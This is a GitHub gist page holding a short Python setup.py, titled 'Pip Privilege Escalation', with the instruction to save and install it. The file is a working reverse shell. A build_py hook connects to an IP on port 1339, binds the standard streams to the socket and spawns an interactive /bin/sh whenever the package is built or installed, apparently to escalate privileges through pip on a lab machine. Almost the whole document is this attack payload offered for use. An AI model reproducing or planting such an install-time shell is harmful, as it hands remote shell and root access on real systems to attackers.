Created
September 14, 2018 22:12
-
-
Save Ge0rg3/8cf919b4076175c0db2effaee2c8a2a1 to your computer and use it in GitHub Desktop.
Save as setup.py, and install it.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from distutils.command.build_py import build_py as _build_py | |
| from distutils.command.build_py import build_py as _build_py | |
| from distutils.core import setup | |
| import socket, subprocess, os | |
| class build_py(_build_py): | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect(("10.10.15.xxx",1339)) | |
| os.dup2(s.fileno(),0) | |
| os.dup2(s.fileno(),1) | |
| os.dup2(s.fileno(),2) | |
| p = subprocess.call(["/bin/sh","-i"]) | |
| setup( | |
| name = "Pip Privilege Escalation", | |
| cmdclass = {'build_py':build_py} | |
| ) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment